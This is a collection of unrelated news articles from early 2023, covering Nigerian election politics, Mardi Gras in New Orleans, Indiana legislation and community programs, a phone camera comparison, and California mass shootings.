Government must do better than what we have seen today with respect to the rule of law, he insisted.




The National Youth Service Corps, NYSC, is preparing to introduce E-Naira to the scheme.





The NYSC will be partnering with the Central Bank of Nigeria, CBN on the use of the internet money for corps members.





The platform would offer the scheme the ease of payments at no risk.





CBN Deputy Director, Information Technology, Habib Yusuf, made this known on Monday when he led some staff of the bank on a courtesy visit to the NYSC National Directorate Headquarters, Abuja.





According to him, the e-naira would allow onboarding of many users and off-line payments for goods and services.





He said that the E-naira would also offer its users the opportunity of many innovations with ease.





Responding to the CBN request for partnership, Mrs. Christy Ifeyinwa Uba, the Acting DG of NYSC commended the apex bank for the innovation.





The acting DG said the NYSC is willing and ready to work with the CBN or any other organisation on any innovation that would make the service year memorable for the Corps Members.





She said the NYSC Management would consider the request from the CBN.




As part of the activities heralding the arrival of Bola Tinubu, the presidential candidate of the All Progressives Congress, APC, on Wednesday, Ogun State announced the closure of some key roads in Abeokuta, the state capital.





Tinubu is expected to campaign at the MKO Abiola International Stadium, Kuto, Abeokuta.





Consequently, the Ogun State Traffic Compliance and Enforcement, TRACE, has told the public that there will be traffic rerouting inbound and outbound the stadium axis by 7 am, with the NNPC flyover bridge condoned off for road users and traffic diverted underpass.





A statement by TRACE spokesperson, Babatunde Akinbiyi, informed that alternative routes and parking spaces will be mapped out and supervised by security and safety officials.





According to Akinbiyi, there will be traffic diversion at NNPC to the right towards Abiola-Way-Leme-Iyana/Mortuary for vehicles coming into Abeokuta from the Sagamu Interchange-Laderin-Okemosan axis.





He added that all buses entering Abeokuta through the Sagamu Interchange for the campaign rally would also be diverted at NNPC to the right towards Abiola-Way-Leme Junction to make a U-turn to the left to the stadium through the road opposite Providence Hotel.





The TRACE spokesman said, there will be no access road for vehicles coming from Iyana/Mortuary towards NNPC, except those scheduled for the campaign rally.





Meanwhile, Akinbiyi disclosed that TRACE and other security and safety agencies would be properly positioned to prevent gridlocks on all routes to and fro the stadium, and to man all parking spaces around the stadium premises.





Pleading with the public and road users for their understanding and cooperation, he assured that the strategy would minimize delay and ensure effective integrated traffic management along the routes.




Raymond Dokpesi, founder of Daar Communications, says some members of the All Progressives Congress (APC) are billed to join the Peoples Democratic Party (PDP).

In a letter dated January 21 and addressed to Ifeanyi Okowa, governor of Delta, Dokopesi said the APC members were formerly in the Muhammadu Buhari/Yemi Osinbajo Nationwide Support Group.

He said the APC members will officially join the PDP on Tuesday at the partys rally in Delta.

He said following due diligence, it was discovered that members of the group are over seven million.

Your Excellency may wish to find an enclosed letter from former members of the President Muhammadu Buhari/Yemi Osinbajo Nationwide Supporters Group who officially wish to decamp [en masse] from APC to the PDP in Asaba during the Delta State Campaign Rally on Tuesday, January 24, 2023, the letter reads.

We have done due diligence on them and found that they actually have over 7,000,000 (Seven Million) registered voters in their fold. They are very strong in the South South region.

I am informed that in order to manage costs, they will come to Asaba with three representatives per state and twenty members of their National Executive.

Dokpesi added that he strongly recommends the APC members to Okowa for consideration.




The teachers recruited by the administration of former governor Adegboyega Oyetola have urged Governor Ademola Adeleke of Osun State to look into their plight and pay their salaries.





The teachers who maintained that their recruitment followed due process also revealed that four of their colleagues have died of depression.





They also asked the government to reverse the embargo on recruitment and forestall further loss of their members.





The Ademola Adeleke administration had at inception via an executive order suspended the recruitment exercise started by the Oyetola administration.





Speaking on behalf of the teachers at a press conference on Monday in Osogbo, Owoyemi Abdulwasiu, explained that the teachers were employed after going through the process of purchasing forms in the year 2020 and writing Computer-Based Tests, CBT, examination in February 2021.





Owoyemi explained that they were invited for oral interviews and micro-teaching after meeting cut-off marks.





It will be unfair to say that the teachers were just given employment based on politics.





It will be of great concern to know that the effect of nullifying our appointments as class teachers had already been felt as we have recorded no fewer than four deaths among us as a result of depression of nullifying the appointment as class teachers,  he said.





Owoyemi who stressed that they have all lost their previous jobs in private establishments debunked the rumour that the teachers are members of the All Progressives Congress, APC, explaining that they went through due process which included purchase of form and writing screening examination.





Reacting, the Osun State Government through Tunde Busari, Special Assistant, Community Communications, maintained that the workers remained disengaged.





While referring to the teachers as illegally employed he accused them of being a tool of blackmail in the hands of the All Progressives Congress, APC.





He added that their reality cannot be changed.





His words: Those APC members are now playing the script. They have failed from the beginning as this administration will not bow to unjustified demands from those who collaborated to deepen Osuns financial woes.





Busari also accused the Oyetola administration of deliberately padding the state payroll with APC members to create deeper financial crisis, conflict and disharmony.





He said: By virtue of the executive order issued by Mr Governor, those illegally employed remain sacked and are no longer staff of the state government. No amount of demonstration and blackmail can change that reality.





We have the details of plan by APC to deploy its disengaged members for demonstration. However, the people of Osun State are in the know of the whole situation especially the several warnings by the PDP while in opposition. We warned against colluding with Mr Oyetola during those last days when the former governor was issuing employment letter despite the states inability to pay staff salaries.
The Peoples Democratic Party Presidential Campaign Council, Monday, dragged the presidential candidate of the All Progressives Congress, Bola Tinubu, to court, urging the Independent National Electoral Commission to disqualify him from contesting the February 25 election over an alleged forfeiture of the sum of $460,000 to the United States authorities.





The council announced this in Abuja at a press conference by the spokesperson of the Atiku/Okowa Campaign Organisation, Mr Kola Ologbondiyan.





Ologbondiyan expressed the determination of the campaign council to file for accelerated hearing in the case in the interest of the nation as Nigerias laws do not permit an alleged convict, let alone an individual convicted on account of international crime of trafficking in narcotic, to stand election at any level.





He added that the campaign council is praying the court to Declare Asiwaju Bola Tinubu, the presidential candidate of the APC, having been allegedly convicted, as ineligible to contest the presidential election by virtue of section 137 (1) (d) of the 1999 Constitution.





Compel the Independent National Electoral Commission, to immediately delist Asiwaju Bola Tinubu as presidential candidate of the APC or any other political party for that matter and expunge his name from all materials and documents related to the 2023 presidential election.





The Directorate of Strategy and Communications of the Atiku/Okowa Campaign Council on Sunday asked the National Drug Law Enforcement Agency, Department of State Security, and the Inspector General of Police to arrest and prosecute Tinubu for the alleged crime.





Ologbondiyan said, You will further recall that the PDP had already established that the presidential candidate of the APC, having been allegedly convicted and having acceded to be guilty as charged by way of forfeiture of the $460,000; Nigeria being a signatory to International Convention is mandatorily obligated to execute the consequential effect of that conviction by virtue of Section 137 (1) (d) of the 1999 Constitution.

For clarity, Section 137 (1) (d) of the 1999 Constitution (as amended) provides that:(1) A person shall not be qualified for election to the office of President if.(d) He is under a sentence of death imposed by any competent court of law or tribunal in Nigeria or a sentence of imprisonment or fine for any offence involving dishonesty or fraud (by whatever name called) or for any other offence, imposed on him by any court or tribunal or substituted by a competent authority for any other sentence imposed on him by such a court or tribunal.





The import of the foregoing is that under the 1999 Constitution (as amended), having been so convicted and fined and having acceded to the sentencing by way of forfeiture of $460,000 and having not received any state pardon or acquitted by any court of competent jurisdiction, Asiwaju Tinubu remains a convict and the consequential effect is that he cannot contest election at any level in Nigeria.





The effect is that the listing of the name of Bola Tinubu, who stands allegedly convicted by a court of competent jurisdiction on the ballot for the 2023 presidential election is by the virtue of Section 137 (1) (d) of the 1999 Constitution (as amended) fundamentally illegal, invalid and must be expunged immediately. he further noted.





Responding to the PDP press conference, spokesman of the APC Presidential Campaign Council, Festus Keyamo, described the Atiku/Okowa Organisation as a body deficient in ideas and originality.





Keyamo said, Why did they wait all these months until we filed before they are now rushing to court? I challenge them more than two months ago, yet they did nothing.





It shows a team that is lacking in originality, lacking in ideas, and lacking in vision. It is just an attempt to create a counter suit to our own. Unfortunately for them, Nigerians have seen through them already.
Bola Tinubu, presidential candidate of the All Progressives Congress (APC), has asked religious leaders to be pillars of unity and not agents of division.

Tinubu spoke on Sunday at a town hall meeting with some Muslim clerics in Bauchi state.

The former governor of Lagos alleged that some politicians were making attempts to recruit eminent people to sow seeds of discord because they know they would not win their elections.

Afraid they cannot win fairly at the ballot, desperate politicians are bent on recruiting otherwise eminent persons to preach hatred against discord, Abdulaziz Abdulaziz, a media aide in the APC campaign council, quoted him as saying.

They want servants of God like yourselves to turn against your own convictions. They want you to preach division and stir negative sentiments.

Please resist these evil-doers and their unholy messages. They seek to enter the office by fouling the nation. Too much is at stake to allow such tricks to succeed.

My request is a simple and fair one. Please focus on a candidates record of performance and the quality of his policies.

Tinubu said religious leaders must champion the cause of justice that would deepen the countrys unity.

That principle of fairness and justice also requires that leadership of society should be based on the quality of ones ideas, character, and accomplishments, rather than on traits unrelated to the ability to lead and govern justly, honestly, he said.

The recorded history of our faith shows how our Noble Prophet led a plural community. He did not confer a special advantage to his own tribe, or clan.

In many instances, he placed others ahead of his own relatives. The Prophet (Peace Be Upon Him) has set a golden example for us.

Tinubu said if elected, he would prioritise the security of the country and the progress of the economy.
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By Azernews

Sabina Mammadli

Azerbaijani Prime Minister Ali Asadov and Director-General of the Border Guard of Saudi Arabian Foreign Ministry Mohammed bin Abdullah Hamdan al-Shahri discussed the prospects of the future development between the border structures of the two countries, Azernews reports.

Detailed information was given on the reforms and achievements made in the direction of strengthening border security in Azerbaijan.

During the meeting, the sides emphasized the high-level of friendly and fraternal ties between the two countries in all spheres.

Moreover, the importance of the 7th meeting of the Joint Commission on cooperation in the fields of economy, trade, investment, technology, culture, sports, and youth between Azerbaijan and Saudi Arabia, held in Baku, at the end of last year, and the Azerbaijan-Saudi Arabia Investment Forum were noted.

Chief of the Azerbaijani State Border Service Elchin Guliyev also attended the meeting.

Azerbaijan and Saudi Arabia established diplomatic relations on February 24, 1992. The two countries successfully cooperate in various fields of economy and have fruitful cooperation at international organizations, particularly the Organization of the Islamic Cooperation and the OPEC+.

The trade turnover between the two countries amounted to $27 million in 2021. On January 13, a groundbreaking ceremony for the 240 MW Khizi-Absheron wind farm, which will be built by Saudi Arabia's ACWA Power, was held. After the construction, it is expected to supply 300,000 households, save 220 million cubic meters of gas, and reduce 400,000 tons of carbon dioxide emissions during the year.
We know Carnival season rolls quick, and so the push is on to get as much king cake into your system as possible before Fat Tuesday. Is it too soon to start thinking about that other staple of Mardi Gras celebrations though?

Im talking about fried chicken, of course, and in my realm, the answer is self-evident. It is always a good time to talk fried chicken.

One particular fried chicken den has been on my mind, one thats been around for a few years now but feels like it has come into its own. This is Picnic Provisions & Whiskey, a long name that should boil down to one idea: excellent hot fried chicken.

Its Picnics way with boneless chicken thighs, the preferred cut for its platters, with a crawfish boil-style spice and an added blast from Picnic pulp, the pepper mash left over from Crystal hot sauce production, which is essentially the grappa of the spice world.

There is also the simple blessing of miso mayo, which Ill get to in a few bites.

Picnic stands out on a busy corner deep Uptown, not far from Audubon Park, and outside of the box of most Uptown parades, assuming traditional routes are resumed this year. That makes it more accessible in peak Carnival time (the restaurant will deliver catering orders to parade route spots with 24-hour notice).

It was developed by a partnership of well-known hospitality pros: Ti Martin, co-owner of Commanders Palace, her longtime friend, Darryl Reginelli, founder of his namesake pizzeria brand, and Tory McPhail, who at the time Picnic opened in 2018 was executive chef at Commanders Palace (hes since moved to Montana, where he must have the rainbow trout on the run).
New Orleans city officials on Monday said they extended a deadline for when krewes would need to find sufficient police officers to return to full-length Mardi Gras parade routes, adding that a pact with the Orleans Parish Sheriff's Office over how to pay outside agencies represented a "significant step."

Earlier this month, Mayor LaToya Cantrell set a Jan. 23 date for when krewes would need to find police for their parades and inform the city of as much. But in a news release, City Hall spokesperson Gregory Joseph said that deadline had been waived.

Joseph also noted that the city has officially entered into a "cooperative endeavor agreement" with the Orleans Parish Sheriffs Office that will "provide the vehicle of funding for outside law enforcement agencies."

The pact apparently gives the OPSO the ability to pay the salaries of any sheriff's deputies from outside parishes who come to New Orleans to work during Carnival parades. Such deputies would supplement NOPD officers.

"This is a significant step in the process of returning official Mardi Gras krewes to their original routes," wrote Joseph, who said a final decision on the routes will be made this week.

The announcement represents another hopeful sign for residents, visitors and businesses that the shortened parades of last year's Carnival will revert to their pre-pandemic lengths.

On Monday, leaders of the Krewe of Bacchus said during an announcement of who will reign as Bacchus LIV that its parade on the Sunday before Mardi Gras "will travel along the traditional uptown route."
JORDAN ALTHAUS PHOTO PROVIDED BY NBC / WARNER BROS. TELEVISION

New Orleans actor John Larroquette returns to the courtroom, and to the role of the sharp-tongued lawyer Dan Fielding, in Night Court, a revival of the sitcom that brought him four consecutive Emmys during its initial run.
A comparison has been made between the Samsung Galaxy S23 Ultra and the Google Pixel 7 Pro in regard to the capabilities of their selfie cameras. The Pixel 7 Pros front-facing camera has been widely praised for capturing natural-looking images, but the example produced by the Galaxy S23 Ultra in this instance looks to be next level in terms of quality.

4 Reviews

Photography-related leaks for the Samsung Galaxy S23 Ultra have already whetted the appetite and the same provider of those images, Edwards Urbina, has now provided a selfie image comparison between the upcoming premium flagship phone and the Google Pixel 7 Pro. The two shots show Urbina in the same location and wearing the same clothes, presumably taken at the same time of day to keep the comparison fair. While the Pixel 7 Pros effort is decent enough, the Galaxy S23 Ultra selfie camera photo appears to be on a whole different quality level.

The Samsung Galaxy S23 Ultra selfie sample is very detailed and well defined. Urbina hasnt personally commented yet on whether the skin tone capture is accurate, but compared to other images in his Twitter feed, it seems the S23 Ultra has done a fine job of producing a realistic representation. The less-distinguishable features of his face, such as the lines created by bone structure, have been depicted strongly by the Samsung phone whereas the Google Pixel 7 Pros effort has a more blurred overtone to it.

Arguably, the biggest detail difference to be seen between the Galaxy S23 Ultra and Pixel 7 Pro is in the original posters hair. Again, the effort from the Google phone is of a good standard, but it offers much lower definition and sharpness than the selfie shot from the S23 Ultra, where it is practically possible to make out every individual strand of hair. Camera review specialists DXOMARK thought highly of the Google Pixel 7 Pro selfie camera, giving the 10.8 MP, f/2.2 sensor at the front a score of 142, leaving the smartphone in fifth place in the selfie camera table, behind a couple of phones from Apple and a couple from Huawei.

The Galaxy S22 Ultra didnt fare as well in this particular field, with DXOMARK awarding the selfie camera a score of 135 (Exynos model). In fact, according to the review site's rankings, the Galaxy S20 Ultra 5G (Exynos) has the best selfie camera out of the Samsung smartphones that have been tested, but it is tied for ninth place in the current chart on 137. Looking at the selfie photo provided by the Galaxy S23 Ultra here, with the camera believed to be a 12 MP, f/2.2 sensor, its not hard to imagine Samsung hitting new review heights in this specific department.

Buy an unlocked and renewed Samsung Galaxy S20 Ultra on Amazon
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Horizon Bank, one of the largest financial institutions headquartered in Northwest Indiana, is partnering with Valparaiso University on a new internship program.

The Michigan City-based bank is offering analytics students at the private Lutheran university 16-week-long internships in which they'll get to crunch data in the real world. Horizon Bank has been using analytics more heavily to inform its business strategy, lending and operations.

"We are excited to partner with Horizon Bank for this program," said Valparaiso University President Jose Padilla. "Our students will have the chance to work on a real-world analytics project for a leading community bank and apply their analytical skills to solve business challenges. This is a great opportunity for them to gain valuable experience and build their resumes as they prepare for their careers."

Students will work on real-world projects for Horizon Bank, learning firsthand about the growing field of data science.

"We are thrilled to partner with Valparaiso University for this internship program," said Horizon Bank CEO Craig Dwight. "Horizon is always looking for innovative ways to use local talent and to expand our data analytics to better serve our customers. We believe that this partnership will be a valuable investment as we provide the interns with a real-life opportunity to deploy their skills and to assist Horizon on its journey to continuously improve the experiences of our customers."

Students will work with Horizon Bank's business intelligence team, participating in meetings, workshops and presentations. They will get to work on the development of new frameworks for data-driven decision-making.

"Data analytics is becoming increasingly important in community banking, and we are excited to have the opportunity to work with talented university students on this project," said Horizons VP of Business Intelligence Madelaine Spoljoric. "We believe that this program will provide valuable insights and help us to better understand our customers, their needs, and how to better serve them. There is a beauty and a science to understanding data, and we can't wait to see what these students can help us uncover."

The program is open to Valparaiso University students studying analytics or a related field. They must be familiar with statistical and machine-learning techniques.

"This program is a great opportunity for our students to gain practical experience and build their skills in data analytics," said Sanjeev Jha, professor of Information & Decision Sciences at Valparaiso University. "We are confident that they will make valuable contributions to Horizon's business intelligence team and benefit greatly from the experience."

For more information, visit www.valpalytics.com.
Indiana American Water is seeking applications for its 2023 Environmental Grant Program.

The subsidiary of American Water is looking to finance community projects in its service areas.

Everyone plays a role in protecting our nations water supplies, and this program encourages municipalities, schools, environmental organizations and civic groups to apply for a grant that will benefit their watersheds and the communities we serve across the state, said Indiana American Water President Matt Prine.

The utility, which serves 1.3 million people across the state, funded six watershed projects in Indiana last year. It plans to distribute around $10,000 in grant funding this year and is looking for innovative environmental projects that will restore, protect or otherwise improve groundwater, surface water or watersheds in the communities where it supplies tap water.

The projects must address a source water or watershed protection need that can be completed between the beginning of May and the end of December, Specifically, Indian American is looking for new or expanded projects that can be carried out by two or more organizations partnering together in one of the communities it serves.

Projects will be judged on criteria like clarity, impact, sustainable environmental results and strength of collaboration. The application deadline is March 31. Grantees will be notified by April 30.

For more information, mail Indiana American Water, 153 N. Emerson Avenue, Greenwood, IN 46143, Attn: Joe Loughmiller or visit www.amwater.com/inaw/news-community/environmental-grant-program.
Indiana University Northwest plans to celebrate Black History Month in February with a concert and film series.

IUN's Office of Diversity, Equity, and Multicultural Affairs is staging several events to explore African American culture in many of its facets. The community is invited to join the campus in the month-long celebration.

The Signal a Doo Wop Rhapsody will be staged at 7 p.m. on Feb. 3 in the Theatre at the Arts & Sciences Building on the IUN campus in Gary. It's an 80-minute concert honoring Gary native Vivian Carter, who blazed trails as the first black female owner of a record label.

Then at 6 p.m. on Feb. 9, there will be a screening of the film "Shared Legacies" followed by a panel discussion at the Bergland Auditorium at IUN. Co-hosted by the Center for Urban and Regional Excellence, the documentary examines the collaboration of Black and Jewish civil rights advocates.

A Black History Trivia Event hosted by Brother 2 Brother will take place at the Bergland Auditorium at 1 p.m. on Feb. 14.

"Black Panther: Wakanda Forever," a recent entry in the Marvel Cinematic Universe, will be screened at 1 p.m. on Feb. 15.

Concluding the month's programming, "Till," about the tragic lynching of Chicago teen Emmett Till, will be screened at 1 p.m. on Feb. 23. Brother 2 Brother is hosting the film, which will be screened at Bergland Auditorium.
The Indiana House overwhelmingly agrees the penalty for killing a trained police dog should at least be equivalent to the prison term for stealing one.

State representatives voted 89-8 Tuesday to advance House Bill 1306 to the Senate for a decision later this year on sending it to the governor to be signed into law.

The measure reclassifies the crime of killing a law enforcement animal as a level 5 felony, one step higher than its current classification as a level 6 felony.

A level 5 felony is punishable by a sentence of one to six years in a state prison, while any time behind bars associated with level 6 felony conviction, up to a maximum of two and a half years, generally is served in a county jail.

It also allows judges to consider the death of a law enforcement animal as an aggravating factor when deciding an appropriate sentence for any associated crimes.

State Rep. Chris Jeter, R-Fishers, the sponsor, said the value of a police dog well exceeds the $50,000 threshold needed for theft to be prosecuted as a level 5 felony, so the penalty for killing one should be adjusted accordingly.

"Our communities view these K-9s as officers. The officers view them as officers. I just feel a level 5 is more appropriate," Jeter said.

Opponents of the measure, led by state Rep. Matt Pierce, D-Bloomington, acknowledged it's hard to vote against a "feel good" proposal like this because doing so probably will generate a campaign mailer next year claiming the lawmaker wants to murder police dogs.

But Pierce insisted the continued use of one-off changes to criminal penalties in response to specific crimes that garner public attention is liable to render the state's criminal code entirely disproportionate and require another comprehensive rewrite like the one just completed in 2014.

"We've got plenty of criminal law already in the code that can handle these situations," Pierce said.

According to the nonpartisan Legislative Services Agency, just two people have been convicted in Indiana of killing a law enforcement animal since 2013.

Altogether, 11 Hoosier police K-9s have been killed on the job since 2000, including Fishers Police K-9 Harlej (pronounced Harley) in 2019, who was shot by an alleged drunk driver during a foot pursuit moments before the police dog would have subdued the suspect.

Meet the 2023 Northwest Indiana legislative delegation State Rep. Carolyn Jackson, D-Hammond State Rep. Earl Harris Jr., D-East Chicago State Rep. Ragen Hatcher, D-Gary State Rep. Ed Soliday, R-Valparaiso State Rep. Pat Boy, D-Michigan City State Rep. Chuck Moseley, D-Portage State Rep. Mike Aylesworth, R-Hebron State Rep. Mike Andrade, D-Munster State Rep. Vernon Smith, D-Gary State Rep. Hal Slager, R-Schererville State Rep. Kendell Culp, R-Rensselaer State Rep. Julie Olthoff, R-Crown Point State Rep. Jim Pressel, R-Rolling Prairie State Sen. Dan Dernulc, R-Highland State Sen. Lonnie Randolph, D-East Chicago State Sen. Eddie Melton, D-Gary State Sen. Rodney Pol Jr., D-Chesterton State Sen. Ed Charbonneau, R-Valparaiso State Sen. Rick Niemeyer, R-Lowell State Sen. Mike Bohacek, R-Michiana Shores
HEBRON  Kylie Shurr was just born Jan. 2 but already has a $100 head start toward her college expenses, thanks to the new Seeds of Promise program administered by the Porter County Community Foundation.

Kylies father, Jon Shurr, found out about the program by reading a brochure at Northwest Health Porter, the hospital where Kylie was born.

It didnt seem like there was any downside to it, he said, so he immediately registered her. It will give her an opportunity for her education when she decides to further it.

The application process is simple. It took two to three minutes at most, Jon said.

All it needed was basic information like name, address, date of birth and contact information.

About 20 to 30 minutes after Jon finished the online form, he got a phone call letting him and his wife, Kait Shurr, know that Kylie was the first baby registered under the program that began Jan. 1.

Foundation President and CEO Bill Higbie said he had hoped the children could be automatically enrolled, as is the case in some other communities across the nation, but Indiana law prohibits the health department from sharing any information about a birth without parental permission.

The best practice is that it automatically happens, Higbie said. Its somewhat disappointing. The easier you make it, the more participation you have.

This is the first program of its kind in Indiana, Higbie believes.

The $100 is put into a 529 college savings plan administered by the foundation until the parents open their own account in the childs name. The invested money will grow in value as the child grows up.

Parents are urged to contribute their own money toward their childs future. The original $100 could grow to an estimated $500, depending on a lot of variables. Thats a guesstimate, not a guarantee, Higbie stressed.

Other than registration, the only requirement is that the baby be born to Porter County moms. Where the child is born doesnt matter. A baby born in Porter County to a mom who lives outside the county doesnt qualify.

Kylies siblings dont qualify, either. The program began after they were born. Nor is there likely to be a younger brother or sister.

She completes our family, Kait said. We have a boy and a girl, so she was the tiebreaker.

They love her and want to hold her all day and kiss her, Kait said.

Shes very calm, very laid back and very easygoing, Kait said. Weve gotten lots of smiles.

She knows shes got this savings account now, Higbie said.

The money can be used for just about any educational purpose, including buying a computer for coursework, he said.

Money for the program comes from a portion of the $12.5 million bequest by Bill Jewell. He had set aside more money than needed for scholarships to the Kelley School of Business at Indiana University in Bloomington, so giving $100 to each Porter County baby born after Jan. 1 became possible.

A similar program, through the Indiana Youth Institute, puts $25 into a 529 account for kindergartners or first-graders, Higbie said.

Families of Porter County infants have until the childs first birthday to register. Information is available at firstthingspc.org/savings.

Gallery: The Times Photos of the Week 012123-spt-gbk-pcc_1 012123-spt-gbk-pcc_4 012123-spt-gbk-pcc_7 South Central, PCC Tournament Lake Central at Valparaiso girls basketball Lake Central at Valparaiso girls basketball Lake Central at Valparaiso girls basketball Lake Central at Valparaiso girls basketball Lake Central at Valparaiso girls basketball 012123-spt-bbk-21st-ecc_4 012123-spt-bbk-21st-ecc_5 012123-spt-bbk-21st-ecc_6 012123-spt-bbk-21st-ecc_8 012123-spt-bbk-21st-ecc_10 Hobart Police hold press conference on the murder of Destiny Jackson and Nazirah Muhammad Valparaiso hosts opioid solutions panel Valparaiso hosts opioid solutions panel Valparaiso hosts opioid solutions panel Historic homes razed in Marktown on eve of renovation program Historic homes razed in Marktown on eve of renovation program Follow MLK's lead, Melton urges Follow MLK's lead, Melton urges Hammond's annual Martin Luther King commemoration Gallery HTML code
Over the past two years, several Northwest Indiana municipalities have passed humane pet store ordinances. However, new legislation authored by state Rep. Mike Aylesworth, R-Hebron, could put an end to local pet sale restrictions.

House Bill 1121 would prohibit the adoption or enforcement of ordinances banning sales of dogs or cats. The bill specifies that pet stores can only purchase animals from commercial breeders that are registered with the Indiana State Board of Animal Health or casual breeders that are recognized by a kennel society.

During a Monday morning House Agriculture and Rural Development Committee meeting, Aylesworth said the goal of the bill was to "make sure that animals, when theyre sold, are properly certified."

Multiple people spoke out against the legislation, arguing that state and federal certifications are not air-tight.

The House Agriculture and Rural Development Committee approved an amendment to the bill clarifying some of the certification standards. The amended bill states that breeders must be certified by a national science-based breeder standards program and audited by an independent auditing firm that complies with the applicable standards of the International Organization for Standardization. According to the amended bill, pet stores would also have to provide customers with details about the animal's history, including the age, sex, breeder and any medical treatment the pet has received.

To register with the BOAH, commercial breeders must be licensed by the U.S. Department of Agriculture. However, Erin Huang, of the Humane Society of the U.S., said the federal government "does a terrible job regulating" the dog breeding industry.

A USDA license is little more than federally sanctioned cruelty," Huang said.

Instead, Huang would like to see the power to regulate pet sales stay with local municipalities, adding that the proposed bill "will tie the hands of elected officials."

Communities in Northwest Indiana began adopting humane pet store ordinances after Illinois passed a statewide ban on puppy mills and the sale of dogs and cats by pet shops in August 2021. Multiple elected officials have said they were concerned that Illinois pet stores would relocate to Northwest Indiana after the ban.

Though the local humane pet store ordinances all differ, many of them prohibit pet stores from boarding or breeding cats and dogs. The legislation does not apply to breeders, and pet stores can still collaborate with animal care facilities and rescue organizations to offer space to showcase adoptable dogs and cats. Of the 13 municipalities that have passed humane pet store ordinances, 10 are in Northwest Indiana. The communities include Dyer, Highland, Munster, Crown Point, Schererville, Hebron, Whiting, Lake Station, East Chicago and Lowell.

Hammond and Hobart have both discussed the possibility of passing a humane pet store ordinance, but the legislation has not moved forward. During a recent Valparaiso City Council meeting, several residents asked the city to draft an anti-puppy mill ordinance.

Multiple representatives from the Ohio-based pet store franchise Petland, Inc. spoke during the committee meeting. Petland operates four stores in Indiana, including one in Hobart. Mark Schublak, a representative for Petland, said "it does not seem fair that a municipality can decimate the sales of a business essentially overnight with the stroke of a pen."

Under the proposed bill, municipalities would still be able to enforce pet sale bans if stores are not buying from certified breeders, Schublak said. He also noted that customers would be able to return the animal if they are found to be sick within 14 days of the purchase.

Pet store bans dont solve the problem with bad breeders. Need I point out prohibition? Schublak said. "If we start enacting pet store bans, ... this is going to drive sales to the internet."

Elizabeth Kunzelman, vice president of legislative and public affairs at Petland, said a total ban on pet store sales would only "fuel" puppy mills.

Wed rather be regulated and have a fair shot and have a free market than be regulated out of business," Kunzelman said.

However, Sana Azem, senior director of state legislation for the American Society for the Prevention of Cruelty to Animals, argued the bill would "protect the puppy mill industry."

"Responsible breeders don't sell their puppies to pet stores," Azem said.

Former veterinary technician Julie Gray helped get the humane pet store ordinance passed in Bloomington. Gray said dogs sold at pet stores are not adequately socialized, do not get enough exercise and are often sick because they are kept in such close quarters.

The committee did not immediately act on the proposal. A similar measure, Senate Bill 134, also is pending in the Senate Agriculture Committee.

Gallery: Furry friends at the Hobart Animal Shelter push to adopt pets push to adopt pets push to adopt pets push to adopt pets push to adopt pets push to adopt pets push to adopt pets push to adopt pets push to adopt pets push to adopt pets push to adopt pets push to adopt pets Gallery
Ms. Lo was born on May 4, 1937, in Guangzhou, China, the capital of Guangdong Province, also known by the Anglicized name Canton and the home of Cantonese cuisine. Her father, Pak Wen Lo, worked for the government, and her mother, Miu How Chen, was a homemaker. Her family fled the country during the Chinese Revolution in the 1940s and settled in Hong Kong, where she met the American journalist Fred Ferretti, who was on assignment for the military publication Stars and Stripes. The two married in 1959 and moved to Queens before settling in Montclair. (Mr. Ferretti died last March.)

Dinner party guests would rave about her Chinese cooking, so in 1972 she started conducting cooking classes out of their home. The couple were inseparable, Stephen Ferretti said, and shared a deep connection over food. They even reviewed restaurants together for The New York Times, where the elder Mr. Ferretti began working in 1969.

We would go to a restaurant, it could be Italian or Chinese, we would eat something, and my dad would look at Eileen and say, What is in here? Stephen Ferretti said. She would say, This is double fried, the oil is old, they are supposed to use peanut oil but they used corn or vegetable.

Ms. Los first cookbook, The Dim Sum Book, was published in 1981. In it, she taught people how to prepare dishes like won tons, siu mai and char siu bao, buns stuffed with barbecued pork, offering precise instructions in a warm, inviting voice. These are things that people werent aware of or exposed to at the time, Mr. Ferretti said. I remember she would do the soup dumplings and people would be like, How do you get soup in here?
It has been an unusually snowless winter in New York City.

In fact, the metro region has yet to receive its first measurable snowfall this winter  defined as at least 0.1 inches. If that continues until Sunday, it will match a record set in the winter of 1973, when the area went snowless until Jan. 29.

While two winter storms have dropped a considerable amount of powder upstate  western New York was hit hard by a late-December blizzard, with 51.9 inches recorded in the Buffalo region, resulting in at least 40 deaths  New Yorks precipitation has been limited to rain.

Dan Cole, 71, a native Midwesterner now living in Queens, said on Monday that he grew up around lots of snow and was unbothered by this seasons trend, though hes hopeful his grandsons, ages 2 and 5, will get to experience snow soon.

So we can make a snowman, like we do every year, Mr. Cole said, holding an umbrella; while there was close to a foot of snow upstate on Monday, it rained all morning and into the early afternoon in the city.
For the first time in seven years, one of the worlds most prestigious and hard-to-schedule surfing competitions returned to the North Shore of Oahu.

It was worth the wait.

Forty invitees  a mix of the worlds top professional surfers and local legends  took on wave faces that exceeded 50 feet as an estimated 60,000 spectators watched from the beach and surrounding cliffs. The Eddie Aikau Big Wave Invitational, known as the Eddie, is held only when wave faces are consistently larger than 40 feet at Waimea Bay, a rarity.

In the end, it was the 27-year-old Luke Shepardson, a surfer and lifeguard from the North Shore of Oahu, who defeated the biggest names in the sport, including the 2016 defending titleholder John John Florence, a two-time world champion.

Shepardson competed during breaks from his lifeguard job, returning to the tower between heats. He accepted his award wearing his uniform: a yellow lifeguard T-shirt and red board shorts.
A gunman killed seven people at two locations in Half Moon Bay, Calif., on Monday, shaking a state that was still mourning another mass shooting less than 48 hours before.

HALF MOON BAY, Calif.  A barrage of gun violence left California searching for answers on Tuesday after the death toll from a series of mass shootings, spanning the state from a farmworker community near San Francisco to a Los Angeles suburb, rose to at least 19 people in less than three days.

The attacks posed yet another challenge for beleaguered Californians, who have only begun to recover from weeks of ferocious rainstorms that flooded homes and smashed piers and levees. Even in a vast state of nearly 40 million people, most everyone was feeling the anguish, no matter where they live.

Were exhausted, were frightened, were angry, Dr. Garen J. Wintemute, an emergency room doctor who directs the Violence Prevention Research Program at the University of California, Davis, Medical Center, said.

In Northern California, a 66-year-old man was in custody after seven people were shot dead on Monday near Half Moon Bay, a coastal community known for its small, fog-draped farms and an annual pumpkin festival. Officials at the San Mateo County Sheriffs Office said the suspect, Zhao Chunli, had been employed at one of the farms he attacked and was likely driven by workplace grievances.

In Southern California, investigators continued searching for a motive in the massacre on Saturday night at a ballroom dance hall in Monterey Park, an Asian American enclave where 11 people were killed and nine were wounded. The suspect  Huu Can Tran, 72, a former volunteer dance instructor who the authorities said may have been driven by personal animosities  killed himself on Sunday as the police approached his white van.

